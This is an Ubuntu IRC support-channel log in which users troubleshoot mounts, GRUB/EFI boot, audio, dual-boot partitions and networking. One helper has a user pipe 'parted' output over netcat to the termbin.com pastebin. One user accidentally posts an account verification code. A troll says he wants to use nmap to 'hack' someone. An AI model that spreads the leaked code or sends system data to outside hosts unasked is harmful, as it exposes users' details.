[17:15] <khe> JimBuntu: yeah, there is. sdb. https://paste.ubuntu.com/p/47vPthSNSp/
[17:15] <khe> JimBuntu: ill provide a screenshot in a moment. thanks for the help.
[17:17] <Randolf> If I cd to /media/randolf/ and try to use mv to rename my USB memory stick, I get the message "Permission denied."  If I use sudo, it tells me that the device is busy.
[17:17] <Randolf> I don't have any programs accessing it though.
[17:18] <ask-ygU5AP56> so, any idea how to get my nicotine icon and app visible both in Unity menu and in the tray?
[17:18] <JimBuntu> Randolf, that's not how you would change the label though... that would only be moving the mount point...
[17:18] <TBotNik> All: What is cmd to mount remote ntfs shares from a win server?
[17:19] <leftyfb> TBotNik: NTFS is not a remote filesystem
[17:19] <JimBuntu> Randolf, you will need to unmount the drive, then you should be able to use 'man mlabel' to get more instruction on using mlabel to give the device a new label
[17:19] <khe> JimBuntu: https://imgur.com/a/3kO7kHA - both of these come after usb has been inserted
[17:19] <leftyfb> TBotNik: If you're thinking of Samba/SMB/CIFS, then you can use the mount command
[17:20] <Randolf> JimBuntu:  Oh, okay.  Thanks!  I'll give that a try.
[17:20] <JimBuntu> Ah, khe, it's one of those flash drives with a virtual CD-ROM partition. I'm not sure what the solution is for that ATM, sorry.
[17:20] <TBotNik> leftyfb: Yup mount cifs something, but can't get it right no matter what i try!
[17:20] <leftyfb> TBotNik: what are you trying?
[17:20] <JimBuntu> khe what you know now should help draw out someone with the correct experience
[17:22] <Randolf> JimBuntu:  Hmm, that looks like an MS-DOS volume labeling tool.  I don't seem to be able to specify a device with it.
[17:22] <khe> JimBuntu: thanks for the help appreciate it!
[17:22] <TBotNik> leftyfb: Try many combos: started with: mount //server  /media/winsvr  cifs username=$msuser,password=$mspassword,iocharset=utf8,sec=ntlm  0  0
[17:22] <Bryson> I’m having problems getting a second AWS elastic network interface added to an ubuntu 16.04 box. i have the interface attached, it has an IP, but i can not get routing configured to allow any network traffic over the second interface. the second interface has a different gateway than the first, all the help i can find online seems to assume that the gateways are the same for both interfaces.
[17:22] <leftyfb> TBotNik: Tried using the servers ip address as opposed to name?
[17:23] <TBotNik> leftyfb: Not yet!
[17:23] <TBotNik> leftyfb: that won't be good as it dhcp network, so will change ips
[17:24] <JimBuntu> Randolf, Oh, are you trying to rename the device as a whole... not a partition?
[17:24] <leftyfb> TBotNik: it's called troubleshooting
[17:24] <Randolf> Yeah.
[17:24] <Randolf> It has a "volume label" I guess.
[17:24] <khe> i got a usb with a virtual CD-ROM partition which i want to clone. dd doesn't work. anyone know what to do?
[17:24] <Randolf> In Windows, this USB memory stick shows up with the label.  In Linux, it shows up with the same label.  I'm just firing up a Windows machine to re-label it.
[17:24] <TBotNik> leftyfb: Been working on it a month!  Computer shop here.  Everything else logins fine.
[17:25] <TBotNik> leftyfb: Ticketing DB on that share!
[17:25] <leftyfb> TBotNik: ok, have you tried to use the ip address yet?
[17:25] <TBotNik> leftyfb: Don't know it!
[17:25] <Randolf> Damn, I forgot how painful it is to wait for Windows 10 to boot.
[17:26] <Randolf> It's installed 15 updates now, and it's only at 3%.
[17:26] <TBotNik> Randolf: Less than 10 sec with SSD!
[17:27] <leftyfb> TBotNik: you don't know how to get an ip address from a windows machine?
[17:27] <TBotNik> Randolf: Next time download the KBs in the background, then run them local, 10 times faster!
[17:27] <leftyfb> TBotNik: please take Windows discussions to ##windows
[17:28] <takeme> how can i install nmap?
[17:28] <Randolf> TBotNik:  I've actually completely given up on Microsoft.  They fucked me over way too many times and I'm moving everything to Ubuntu.
[17:28] <leftyfb> takeme: just like every other application in ubuntu
[17:28] <takeme> how? leftyfb  ?
[17:28] <Randolf> I'm just sick and tired of it updating constantly in the middle of working, and screwing itself up beyond repair, and taking forever and a day to do basic things like booting or loading programs.
[17:28] <TBotNik> leftyfb: Hang on checking the IP now!
[17:28] <Randolf> Linux saves so much time.
[17:28] <JimBuntu> takeme, probably along the lines of sudo apt-get update && sudo apt-get install nmap
[17:29] <Randolf> It just does everything immediately, without delays.
[17:29] <leftyfb> takeme: https://help.ubuntu.com/community/InstallingSoftware   first result on google
[17:29] <takeme> thanks :) JimBuntu
[17:29] <leftyfb> Randolf: please take Windows discussions to ##windows
[17:29] <takeme> leftyfb: no thanks
[17:29] <leftyfb> takeme: no thanks?
[17:29] <Randolf> leftyfb:  I agree.  I was just responding to TBotNik's suggestion.
[17:29] <leftyfb> takeme: no thanks you don't want to read documentation on how to use the OS you just installed?
[17:30] <takeme> [02:28am] JimBuntu: takeme, probably along the lines of sudo apt-get update && sudo apt-get install nmap
[17:30] <Romantic> I'm curious as to what could be interfering with 'less' ability to launch the right editor when I go into edit mode: https://paste.ubuntu.com/p/BcPfwBJD6X/
[17:31] <takeme> how can i install ifconfig?
[17:31] <leftyfb> takeme: what version of ubuntu are you running?
[17:31] <takeme> newest
[17:31] <leftyfb> takeme: what version?
[17:31] <takeme> i don’t know how i know verson?
[17:32] <confluency> Isn't ifconfig installed by default?
[17:32] <leftyfb> takeme: cat /etc/issue
[17:32] <TBotNik> leftyfb: All I ever get is the "help" dump from "mam"
[17:32] <takeme> Ubuntu 18.04 LTS \n \l
[17:32] <confluency> Huh. Apparently it's in the net-tools package.
[17:32] <guest_> takeme: apt install ifconfig
[17:33] <confluency> guest_: that's not the name of the package.
[17:33] <takeme> guest_: how about sudo apt install net-tools ?
[17:33] <leftyfb> takeme: what exactly are you trying to accomplish with nmap and ifconfig on ubuntu 18.04 where you don't know simple commands like apt-get?
[17:33] <confluency> But apparently there's a newer tool which is recommended: https://www.linux.com/learn/replacing-ifconfig-ip
[17:34] <guest_> sorry , i was wrong it is net-tools
[17:35] <guest_> systemwide low frames in ubuntu 18.04, hybrid graphics , modset i915 . 200 frames in 5.0 seconds = 39.996 FPS
[17:35] <TBotNik> Randolf: Win scripts will let you check updates as background process, download as background process and update as background process.  Sorry not my forte` but I have a friend that does it all!
[17:35] <uebera||> Which setting controls whether "update-grub" will produce linux/initrd or linuxefi/initrdefi entries? (The machine in question requires the latter.)
[17:35] <takeme> leftyfb: :(
[17:36] <TBotNik> leftyfb: All I ever get is the "help" dump from "man".  That includes calling the IP!
[17:37] <TBotNik> leftyfb: Samba mounts were easier, but don't even understand the cifs syntax and cmd set!
[17:39] <leftyfb> TBotNik: samba mounts = cifs mounts
[17:40] <leftyfb> takeme: you haven't answered
[17:40] <takeme> what answer?
[17:40] <leftyfb> takeme: what exactly are you trying to accomplish with nmap and ifconfig on ubuntu 18.04 where you don't know simple commands like apt-get?
[17:41] <takeme> yes i don’t know command well
[17:41] <takeme> :(
[17:41] <leftyfb> takeme: so what do you plan on doing with nmap and why do you think you need ifconfig?
[17:41] <uebera||> Romantic: What does "echo $LESSEDIT" show you? "nano", by chance?
[17:42] <anddam> hello, in a custom list file for google music manager I see   ### THIS FILE IS AUTOMATICALLY CONFIGURED ### # You may comment out this entry, but any other modifications may be lost.
[17:42] <anddam> but who's automatically configuring that file?
[17:42] <eden> Hey, I have a laptop with windows on one drive, I'm going to install ubuntu on a secondary SSD slot, I was wondering can I partition that drive and leave a large partition that can both have windows installed programs and shared files Ubuntu/Windows. I think this would be ntsf...
[17:43] <takeme> leftyfb: i m busy
[17:43] <takeme> :(
[17:43] <leftyfb> uh huh
[17:43] <takeme> why you want to know it
[17:43] <takeme> it is my business
[17:44] <anddam> eden: yes you can
[17:44] <takeme> not related with you
[17:44] <guest_> systemwide low frames in ubuntu 18.04, hybrid graphics , modset i915 . 200 frames in 5.0 seconds = 39.996 FPS
[17:44] <eden> anddam nice! I was thinking I needed to upgrade my pcie nvme and my ssd but I think one large ssd will handle windows overflow and ubuntu, sweetness!
[17:45] <leftyfb> takeme: because there might be a better way to accomplish your goal.
[17:46] <eden> would I be best off to manually partition that on install, or can I get away with letting Ubuntu use the whole disk, then partitioning off the ntsf portion afterwards?
[17:46] <takeme> heh
[17:46] <takeme> yeah i want to hack you leftyfb ok?
[17:46] <takeme> with nmap
[17:46] <leftyfb> takeme: that's what I thought. Trolling is offtopic here.
[17:46] <uebera||> Romantic: I'm able to reproduce the behaviour w/ bash. If you use "export EDITOR=vim", your problem should be gone.
[17:46] <takeme> :(
[17:47] <anddam> eden: I'm not familiar with current installer auto setup, I'd go manually and then install bootloader afterwards. But that's just me
[17:47] <leftyfb> takeme: feel free to troll in #freenode or #ubuntu-ops
[17:48] <anddam> uebera||: the problem being?
[17:48] <uebera||> anddam: Referring to my grub related question?
[17:49] <anddam> uebera||: maybe, I couldn't see it since I joined after
[17:49] <eden> anddam, nice, I'm not dual booting, windows is too problematic for that, I do dedicated hard drive for ubuntu and just choose drive order in my bios. I think if I auto install I would need to shrink partition vs manually install I can leave an unpartitioned, or maybe even ntsf drive at that point.
[17:50] <anddam> eden: I count that as dual booting, you have two OS instances on your system
[17:50] <takeme> real troll is you. leftyfb
[17:50] <takeme> 8)
[17:50] <uebera||> anddam: Oh, I see. "update-grub" places linux/initrd statements where I need linuxefi/initrdefi. The machine booted in EFI mode, so I wonder where I need to change a setting so that working entries are not "mangled"
[17:50] <eden> anddam good point, looks like its a go, time to pop open this new lenovo Y530 and see how it does with Ubuntu :') thanks for confirmation.
[17:51] <anddam> uebera||: those linux/initrd are in resulting grub.cfg, right?
[17:51] <uebera||> anddam: yes.
[17:51] <anddam> uebera||: I don't have linuxefi/initrdefi
[17:53] <uebera||> anddam: Then you did not boot in EFI mode. (If you have the choice, that does not matter. But the machine in question only supports EFI.) ;)
[17:53] <anddam> uebera||: I most surely do
[17:53] <anddam> I only have UEFI support and no legacy
[17:54] <uebera||> anddam: Oh. Interesting. It definitely does not work on my machine not to use linuxefi/initrdefi.
[17:54] <doug16k> is it feasible to switch an install from BIOS boot to EFI in place, without reinstalling? should it just work if I disable the CSM, or does grub have to be set up completely differently?
[17:55] <doug16k> it would have to have a FAT EFI boot partition, right? would that already exist in a normal install?
[17:55] <anddam> doug16k: define "normal"
[17:56] <anddam> you need a partition marked as ESP, that is (quasi)FAT
[17:56] <anddam> as fs
[17:56] <doug16k> normal as in you installed it with CSM (doing BIOS boot) and you've been using CSM for a while
[17:56] <anddam> I don't know what CSM is
[17:56] <doug16k> CSM = Compatibility Support Module - it's an addon to EFI that implements PC BIOS
[17:56] <doug16k> to boot non-EFI OS
[17:56] <anddam> IIRC the installer didn't create ESP on "legacy mode"
[17:57] <anddam> but you can simply list the partitions and see
[17:57] <anddam> sfdisk --list  or the like
[17:59] <doug16k> anddam, thanks, I have this on my boot drive -> /dev/nvme0n1p1 *       2048    1050623    1048576   512M ef EFI (FAT-12/16/32)
[17:59] <anddam> then you're all set
[17:59] <doug16k> theoretically it should boot in EFI then, right?
[17:59] <anddam> well no, yuo only have a partition in place, how it boots depends on your firmware settings
[18:00] <doug16k> yes
[18:00] <anddam> but you can likely install grub-efi or so and generate a configuration. When I need reference for these things I hit Arch's wiki, that's really clear and detailed
[18:00] <anddam> best reference out there
[18:01] <uebera||> doug16k: To check you _current_ boot mode, test whether /sys/firmware/efi exists.
[18:02] <qwebirc44591> need help to switch to GUI version from GRUB
[18:02] <doug16k> doesn't exist. it's definitely using BIOS boot
[18:02] <qwebirc44591> hi All after installing Ubuntu dekstop
[18:02] <doug16k> when I turn off CSM it doesn't boot. probably because I don't have grub-efi installed
[18:04] <doug16k> thanks all
[18:04] <doug16k> going to try it now :)
[18:05] <pjs> Hey all.. I'm having some grub issues myself (boots to grub shell). Details & debug info: https://ubuntuforums.org/showthread.php?t=2396050&p=13782706
[18:06] <qwebirc44591> hi can anybody help a newbie here
[18:06] <qwebirc44591> I just installed 18.04 on my Dell laptop via USB
[18:06] <rosco_y> hi qwebirc44591, I'm a noobie too :)
[18:06] <rosco_y> ok
[18:06] <qwebirc44591> and instead of GUI landed with terror of GRUB
[18:06] <qwebirc44591> unsure of what to do
[18:06] <rosco_y> a grub menu?
[18:06] <qwebirc44591> or how to reach back to GUI interface
[18:07] <rosco_y> what do you mean "terror of grub?"
[18:07] <rosco_y> what does it look like?
[18:07] <pjs> this seems to be a theme.. many people are having this out of nowhere (myself included)
[18:07] <qwebirc44591> I mean unsure of how or what to do with GRUB console
[18:07] <qwebirc44591> terminal sort of console
[18:08] <qwebirc44591> earlier day DOS prompt
[18:08] <rosco_y> If we're talking about the grub menu, then you might use the up/down arrows to select "ubuntu" and press enter.
[18:08] <rosco_y> you  can tell grub to automatically select a preferred menu item and launch it in "n" seconds, if you wish.
[18:09] <rosco_y> oh, you have prompt--sorry that's a little different
[18:09] <erle-> how can I regenerate all the stuff that is generated after kernel install? I mean like GRUB stuff in /boot
[18:09] <pjs> qwebirc44591: this should help: https://unix.stackexchange.com/questions/329926/grub-starts-in-command-line-after-reboot/330852#330852
[18:10] <doug16k> worked! all I had to do was install grub-efi, turn off CSM in BIOS, and reselect boot drive. now boots in EFI mode. thanks again
[18:10] <erle-> i restored my root partition (btrfs) to a previous state but my /boot does not really fit
[18:10] <rosco_y> I'm here to ask how I can pin a launcher onto my taskbar (to use the windows language to describe it.)
[18:11] <rosco_y> I installed "Eclipse" from a downloaded .tar file, and it doesn't show up in my menu system.
[18:13] <Shiva187> Hello guys, I am having an issue with my headset on Ubunut 18.04. My speakers are working perfectly fine and system recognizes my headset (logitech usb headset) but I can't seem to get any sound to happen from the headsets, and on Skype the headset doesn't even appear as an option. Please any help would be appreciated
[18:13] <uebera||> pjs: I take it the commands you t of your grub.cfg? But it is not parsed by default? Did you use "grub-install --target=x86_64-efi [...]"?
[18:14] <Shiva187> VERIFY REGISTER Shiva187 uvxvxgmkclyb
[18:14] <Shiva187> oops
[18:14] <uebera||> pjs: I take it the commands you mentioned are part of your grub.cfg? But it is not parsed by default? Did you use "grub-install --target=x86_64-efi [...]"?
[18:14] <pjs> uebera||: I don't believe they're part of it. I found those steps on the web and it boots the loader, which boots the install.
[18:14] <pjs> No I didn't do that. I will try it
[18:17] <BluesKaj> Shiva187, open alsamixer and make sure the headphone volume is at least 80%
[18:19] <khe> i got a usb with a virtual CD-ROM partition which i want to clone. dd doesn't work. anyone know what to do?
[18:19] <Shiva187> @BluesKaj nope, I put the volume at 100% tested the speakers and can't hear anything on the headset also on the "input" side I see the headset but everything is grey can't measure input level or anything
[18:21] <Shiva187> Also skype does not find them, it only finds my speakers/monitor speakers BluesKaj
[18:21] <BluesKaj> Shiva187, did you open alsamixer in the console or are you talking  about sound settings with pavuctrl?
[18:24] <Shiva187> BluesKaj: No i did it on the pavuctrl. Now, i opened in alsamixer and boosted headset to 88. Still can't hear anything from headset
[18:25] <FRWB> hey guys i'm at a kernal panic screen on my laptop but can't seem to enter virtual console
[18:25] <voziv__> Hello. I'm running Ubuntu 16.04 and I'm trying to disable/change the lock screen shortcut (CTRL+ALT+L) - I've changed it under System Settings -> Keyboard -> Keyboard Shortcuts to be CTRL+SHIFT+ALT+BACKSPACE which works, but CTRL+ALT+L still locks my screen if I press it. Ideas?
[18:26] <FRWB> isn't it ctrl + alt + f3? or any f?
[18:26] <BluesKaj> Shiva187, check if there's MM in 'phones vol ctl box, should be 00
[18:26] <FRWB> the cursor is blinking under the panic error but otherwise it's unresponsive
[18:27] <Shiva187> BluesKaj: it says MM
[18:28] <Shiva187> BluesKaj: hmm tried connecting to another USB port now it won't recognize the device going to logout/log back
[18:30] <pakcjo> hello everyone, I'm relative new to ubuntu and just found that atop is listed on the ps output, writting to /var/log/atop/ why is that?
[18:30] <Shiva187> BluesKaj: nope headset is no longer shown as a device :(
[18:32] <BluesKaj> Shiva187, the MM means Muted , you should navigate to that conrol in alsamixer and use the M key to unmute it
[18:32] <Shiva187> BluesKaj: ok, alsamixer shows headset but no where else
[18:33] <Shiva187> BluesKaj: that works!! it now shows up on skype too thank you so much!!
[18:35] <takeme> .
[18:35] <deuAgentErp> 20:34 deuAgentErp: Hi i get a strange behavior of pam_groups if a user logon is done via Lightdm the groups were not assigned but if I login via console the user get the groups
[18:36] <deuAgentErp> authentication is done via ldap
[18:37] <BluesKaj> Shiva187, glad to help :-)
[19:05] <petro> hello... I am not sure if this is the appropriate channel but I was wondering how ubuntu 17.10 and 18.04 (more important?) work with Apple iPphones?
[19:08] <oerheks> petro,  i think so, there is libimobiledevice https://launchpad.net/ubuntu/bionic/+source/libimobiledevice
[19:09] <ask-ygU5AP56> hey, how to make it possible to mount a drive with another non administrator user ? on 18.04
[19:09] <ask-ygU5AP56> what group to add him/her to
[19:09] <ask-ygU5AP56> in order to just give possibility to mount volumes
[19:09] <ask-ygU5AP56> now it asks for the power user's password
[19:09] <ask-ygU5AP56> and mounts the data under the power user's perms
[19:10] <ask-ygU5AP56> is it plugdev?
[19:11] <jeremies> Windows has erased my partitions from the disk drive where it was installed. Has anyone had the same issue? https://betanews.com/2016/08/03/windows-10-anniversary-update-delete-linux-partition/ How to block windows from doing these bad things?
[19:11] <ask-ygU5AP56> I think it is... brb ;)
[19:12] <apteryx> jeremies: use windows in a virtual machine
[19:12] <oerheks> jeremies, really, that post is from 2 years ago
[19:12] <oerheks> already fixed, nice trolling :-D
[19:13] <ask-ygU5AP56> nah, just adding to plugdev is not enough; the user need to be in sudo too I think;
[19:14] <jeremies> oerheks: I remember that the partition deletion happened on October 2017
[19:15] <oerheks> i think one year before that, and was fixed within a month
[19:15] <ducasse> ask-ygU5AP56: use the 'user' option in fstab
[19:16] <jeremies> Are you sure that is safe to install Windows dual Boot with Linux ?
[19:17] <petro> oerheks, do you know of anyone who uses ubuntu 18.04 with an iphone?
[19:17] <petro> or have witnessed discussions here regarding it?
[19:18] <ducasse> ask-ygU5AP56: see the "Non-superuser mounts" section of 'mount' man page
[19:18] <petro> I don't have one but I hope to buy a new phone - not sure if I'm going with Android again but probably...just curious about the experience when using iphones
[19:18] <jeremies> oerheks: Are you sure that is safe to install Windows dual Boot with Linux ?
[19:18] <oerheks> petro, maybe someone here in this channel?
[19:19] <petro> jeremies, why wouldn't it be safe?  just use caution and plan your install
[19:19] <petro> I've used dual-boot for a long time and it's pretty common now, probably?
[19:19] <oerheks> jeremies, tons of people do so, so yes, it works. ( good thing windows does not support read/write ext4 OOTB )
[19:19] <petro> it's probably safer if done on two separate drives, though, but I haven't done it that way before
[19:20] <jeremies> petro, something similar to this happened to me on October 2017 https://betanews.com/2016/08/03/windows-10-anniversary-update-delete-linux-partition/
[19:20] <petro> oerheks, I thought there were some hacks you could do for support? :)  Although, I probably wouldn't rely on it :)
[19:20] <confluency> jeremies: nobody here can give you a 100% guarantee that it's "safe". Lots of people do it, and they seldom use data (as far as I know).
[19:20] <confluency> *seldom lose data
[19:21] <petro> jeremies, yeah, be careful what you click.... choose to manually install and manually manage partitions...it must offer that option?
[19:21] <petro> but, like I said, it's safer to install these operating systems on two separate drives.... then you don't have to worry about that stuff
[19:22] <jeremies> confluency, ok thanks to all of you for the help and support.
[19:22] <dunnousernamefn> Hello. I have this problem where when I run qemu-system-or1k (openrisc), I get an undefined symbol (libusb_free_ss_endpoint_companion_descriptor). libusb-1.0-0(-dev) is installed, and ldd resolves to the right library address
[19:23] <pjs> can someone tell me why "apt-get install -y < mylist.txt" simply says 0 to install, etc. It's a list of packages from a previous install that I want reinstalled
[19:23] <dunnousernamefn> library location*
[19:23] <pjs> I generated it from dpkg --get-selections | grep -v deinstall
[19:23] <petro> jeremies, just google windows 10 ubuntu dual-boot and choose the latest pages, the more up to date write-ups
[19:23] <petro> is my advice
[19:24] <petro> I wouldn't put it past MS to try and 'manage' partitions but I would be surprised if there's no option to avoid that process
[19:24] <oerheks> pjs, now you must use dpkg --set-selections  >> https://askubuntu.com/questions/101931/restoring-all-data-and-dependencies-from-dpkg-set-selections
[19:24] <oerheks> get and set
[19:26] <pjs> oerheks: done that, no errors, but the packages aren't there
[19:26] <TheSov> snaps are f***ing stupid
[19:26] <pjs> I just did it again.. same thing
[19:26] <leftyfb> TheSov: please don't
[19:27] <ikonia> tone down the language please TheSov
[19:27] <oerheks> pjs, did you fully opgrade before restoring? sudo apt full-upgrade
[19:27] <pjs> jesus, no.. let me try that
[19:27] <TheSov> i didnt even use the word
[19:27] <leftyfb> TheSov: any particular reason you have that opinion?
[19:27] <ikonia> TheSov: it's pretty clear what you meant, so tone it down
[19:27] <leftyfb> petro: what exactly do you want to do with the iphone and your computer?
[19:27] <pjs> oerheks: done, just says 0 upgraded, installed, remote and not upgrades
[19:28] <TheSov> so my snap applications like calculator and discord for whatever reason, if i open them and close them a few times, sometimes they just stop working
[19:28] <TheSov> and i have to dismount the loop
[19:28] <TheSov> in order to get to work again
[19:28] <oerheks> pjs, are thos packages from a 3rd source? ppa?
[19:28] <pjs> oerheks: No
[19:28] <pjs> things like feh, python2.7, ffmpeg, etc. Just a bunch of utils I had
[19:28] <leftyfb> TheSov: sounds like you need to fill out a bug report
[19:29] <oerheks> pjs, if you updates, have no other sources, then i have no clue what is wrong.
[19:30] <pjs> oerheks: fuck.. super frustrating. Thanks though
[19:30] <leftyfb> !ohmy | pjs
[19:32]  * pjs mea culpa's
[19:33] <pjs> oerheks: just wrote a shell script to install them one by one *shrugs*
[19:34] <nickInItaly> Hi, everyone, can anyone tell me which is the right channel for help with grub configuration?
[19:35] <Jonta> !grub
[19:35] <Jonta> nickInItaly: Looks like you're in the right place. :)
[19:38] <nickInItaly> cool, thanks! Yep, I know what grub is. I can get the system to start (after a failed install) using the guide on Grub2/Troubleshooting but I can't get to stick. When I try the Post Boot Follow Up or the Boot Repair utility when I reboot I just go back to the GRUB2 starting screeen, the menu doesn't come up.
[19:39] <texla> Ubuntu 16.04 >unity>lsblk shows sro with the following minutes>sr0     11:0    1  1024M  0 rom
[19:39] <texla> >why?
[19:42] <oerheks> sr0 is your cd/dvd player, MAJ:MIN is device nummer, and 0 looks like no cd inserted
[19:43] <oerheks> oh no, 0 = read only
[19:43] <oerheks> that 1024 is 1 mb, your cache in the cd-controller
[19:44] <nickInItaly> ...so the pastebin for the grub configuration is http://paste.ubuntu.com/p/QBqxRKNCPQ/
[19:44] <nickInItaly> ...so the pastebin for the grub configuration is http://paste.ubuntu.com/p/QBqxRkNCPQ/
[19:45] <oerheks> nickInItaly, i see 2 efi partitions, that is 1 too much
[19:47] <nickInItaly> oerheks: yes, one was installed by windows, the second was where Ubuntu installed to. Should I delete the windows one?
[19:48] <oerheks> nickInItaly, no, as the EFI partition needs to be at the beginning, use the one that windows created, as the manual says
[19:48] <JFox762> hi
[19:49] <oerheks> your report says it used sda5, and should be sda2
[19:49] <JFox762> exit
[19:50] <lauren> how would you find out what /dev partition was created from a parted command?
[19:50] <qwebirc11929> oh i lose my wifi :( wifi adapter not found and i don't have cable i reset my ubuntu and getting this problem -_- how i can solve fix ?
[19:51] <lauren> or alternately, how do you map from items in a `parted print` listing to /dev paths
[19:51] <nickInItaly> oerheks, ok. I understand my mistake. I was following this guide: https://askubuntu.com/questions/1032905/ubi-partman-failed-with-exit-code-10-ubuntu-18-04
[19:53] <qwebirc11929> i have problem wifi adapter not found and i don't have cable how i can fix ?
[19:54] <JFox762> My Bluetooth mouse keeps disconnecting from my PC...
[19:55] <qwebirc11929> hey!!!!!!!!!! i need help
[19:55] <JFox762> everytime I close the lid on my laptop, it disconnects... and forces me to have to pair it again.
[19:55] <ddoobb> Can you switch to having a separate /boot on an installation that currently doesn't have one? Does it have advantages? Will it break dual boot with Windows? What is the recommended size for the /boot partition?
[19:55] <JFox762> Anyone have any idea of how my etc/bluetooth/main.conf file should be edited?
[19:56] <multifractal> How come I can only connect to the internet as long as my NordVPN is connected? Otherwise I juse see "no internet connection" errors in all programs, chrome, firefox, smuxi irc, etc.
[19:56] <JFox762> multifractal
[19:56] <JFox762> You probably have "Internet killswitch" turned on in your NordVPN app
[19:56] <multifractal> JFox762: It's configured through network-manager. This is 16.04
[19:56] <JFox762> although... there is no NordVPN app for linux...
[19:58] <JFox762> Network-manager?
[19:58] <JFox762> I'm using 18.04
[20:00] <nickInItaly> oerheks: would you recommend that I reboot to USBstick, delete the sda5 and reinstall grub?
[20:01] <JFox762> Also, the buetooth network manager doesn't really give you many options beyond forgetting devices, and repairing tem etc
[20:02] <ddoobb> Can you replace the /home on a fresh install immediately with the one on your previous installation?
[20:05] <Tin__man> what do you mean replace? you can copy all your home files that reside inside the individual directories
[20:05] <petro> leftyfb, well, one must is being able to view and access pictures on the phone
[20:12] <ddoobb> Tin_man : I have the old partition backed up so I can only do a replace using my backup software
[20:14] <Tin_man> that all depends of course on the software, I'm not sure how Ubuntu handles that at the system level.
[20:16] <Tin_man> ddoobb, this might help >>> https://help.ubuntu.com/community/Partitioning/Home/Moving
[20:18] <idjit> hello. ubuntu 14.04 server (with X packages installed including openbox & lightdm) is giving me intermittent problems. the trouble started after switching from notify-osd to dunst and installing several software updates.
[20:18] <idjit> sometimes when i restart lightdm the monitor just shows a black screen. i can VNC in from another computer, and everything looks fine, but the monitor doesn't show the desktop. the user gets switched from DISPLAY=:0 to DISPLAY=:1, and the monitor doesn't seem to get the memo.
[20:18] <leftyfb> petro: that's what icloud, dropbox, google photos is for
[20:18] <idjit> any idea what might be happening here?
[20:18] <idjit> (if i restart lightdm again, everything comes back up normally (with DISPLAY=:0))
[20:23] <tomreyn> idjit: no idea there. but since 14.04 is only supported until spring, you might want to consider an upgrade, too.
[20:24] <idjit> yeah, running a do-release-upgrade now, thanks :-)
[20:24] <tomreyn> 16.04 LTS has been around cine spring 2016, 18.04 LTS will be enabled for LTS upgrades soon, probably early next month.
[20:24] <tomreyn> cine -> since
[20:27] <idjit> what causes a DISPLAY to increment from :0 to :1? i tried restarting with `service lightdm stop; sleep 2; service lightdm start`, and it still happens from time to time.
[20:28] <Peetz0r> why not 'systemctl restart lightdm'
[20:28] <Peetz0r> or 'service lightdm restart'
[20:28] <idjit> because this one is still on 14.04 and i don't have systemctl (running an upgrade now.)
[20:28] <Peetz0r> ah, yeah
[20:28] <Peetz0r> well, try again after the upgrade ;)
[20:28] <idjit> and i was using restart (instead of stop; sleep; start) but that's when the problem was discovered. i figured slwoing things down might help keep user's DISPLAY=:0, but no such luck.
[20:32] <Danoded> Hey guys, is it possible to fix a broken mbr using an ubuntu install?
[20:33] <Danoded> When trying to boot into windows 7
[20:34] <EriC^^> Danoded: dont you have ubuntu installed?
[20:34] <EriC^^> (dual boot)
[20:34] <Danoded> EriC^^: see that's the big issue...
[20:34] <Danoded> I tried to install another linux distro before
[20:34] <Danoded> Didn't work, didn't restore the proper MBR
[20:35] <Danoded> So I had my boot menu as: <Windows 7, Windows 7 2, Linux>
[20:35] <Danoded> No issues on my old PC, but just upgraded to a new one with a new mobo
[20:35] <Danoded> Getting the grub rescue issue
[20:35] <EriC^^> Danoded: do you have a live usb you can use right now to troubleshoot?
[20:36] <Danoded> EriC^^: Yep got ubuntu on 'try' mode right now
[20:36] <EriC^^> Danoded: type "sudo parted -ls | nc termbin.com 9999" and paste the link here
[20:36] <oerheks> use your windows 7 dvd ..
[20:37] <Danoded> oerheks: I have tried to boot into a windows image from usb
[20:37] <Danoded> get the grub issue again
[20:37] <apteryx> uebera||: ah, it seems Dnsmasq gives the same IP to machine sharing the same CLIENTID. I confirmed the client IDs are the same. A similar issue to mine is reported here: https://github.com/archlinux/arch-boxes/issues/25
[20:37] <Danoded> EriC^^: will do
[20:37] <EriC^^> Danoded: how did you make the windows usb?
[20:38] <apteryx> The fix would be to remove this ID in the VM image by issuing 'rm /etc/machine-id'
[20:38] <Danoded> Eric^^: Just made it bootable with windows installation files
[20:38] <EriC^^> Danoded: you mean you just copied the files over to the usb's partition?
[20:39] <Danoded> EriC^^: Not... necessarily
[20:39] <EriC^^> Danoded: do explain :)
[20:39] <Danoded> I do have a windows CD I can try instead don't worry
[20:39] <Danoded> Want to try your command first
[20:39] <EriC^^> Danoded: k
[20:40] <juacom99> Hi, one question. I'm trying to make a static route persistent, i edit my /etc/network/interfaces to add the line post-up route add -host <<my host here>> gw <<The gateway here>> dev <<my dev name here>>, but when i reboot i loos all the reouts. any idea why?. i'm on a Ubuntu 14.04
[20:42] <tomreyn> juacom99: do you have "net-tools" instealled?
[20:42] <Danoded> EriC^^: Unrecognsied disk label errors
[20:42] <Danoded> will post more
[20:42] <EriC^^> Danoded: any link?
[20:43] <tomreyn> juacom99: it's the package which provides the /sbin/route command. on current ubuntu releases, you would rather use the "ip route" command.
[20:43] <juacom99> tomreyn: no, sorry
[20:43] <Danoded> this one? http://termbin.com/evrb
[20:44] <Danoded> yeah, that one
[20:44] <juacom99> tomreyn: the problem is that if i run the comand on a cmd it work
[20:44] <Stochastix_> bacarrdy_, Thanks for the command suggestions, I tried  -S and i keep getting invalid option -S
[20:44] <juacom99> but when i reboot i lost the changes
[20:44] <tomreyn> juacom99: can you run: "which route"
[20:44] <Stochastix_> Is there a particular mailx application that I should be running?
[20:44] <EriC^^> Danoded: what's on the 500gb and 1000gb hdd?
[20:44] <juacom99> yes sure /sbin/route
[20:44] <Stochastix_> Like what package does it come with to have the -S  switch ?
[20:45] <tomreyn> juacom99: now: dpkg -S /sbin/route
[20:45] <Danoded> EriC^^: Windows 7 installations
[20:45] <EriC^^> Danoded: on both?
[20:45] <Danoded> EriC^^: Oh yes yeah
[20:46] <juacom99> ok it seems that i got the package after all net-tools: /sbin/route
[20:46] <tomreyn> juacom99: i would think so, too.
[20:46] <tomreyn> juacom99: to confirm: dpkg -l net-tools
[20:48] <tomreyn> juacom99: i suggest you inspect your system logs then (/var/log/syslog primarily) then to get a better idea of why setting the rout via the "post-up" hook fails.
[20:48] <EriC^^> Danoded: the 500gb one is missing the smaller partition, i'm not sure if that's needed for booting or not
[20:49] <tomreyn> juacom99: maybe make that "post-up /sbin/route ..." in /etc/network/interfaces
[20:49] <Danoded> EriC^^: WD5?
[20:49] <EriC^^> Danoded: yeah
[20:49] <Danoded> Yeah it is, I'm not sure either though
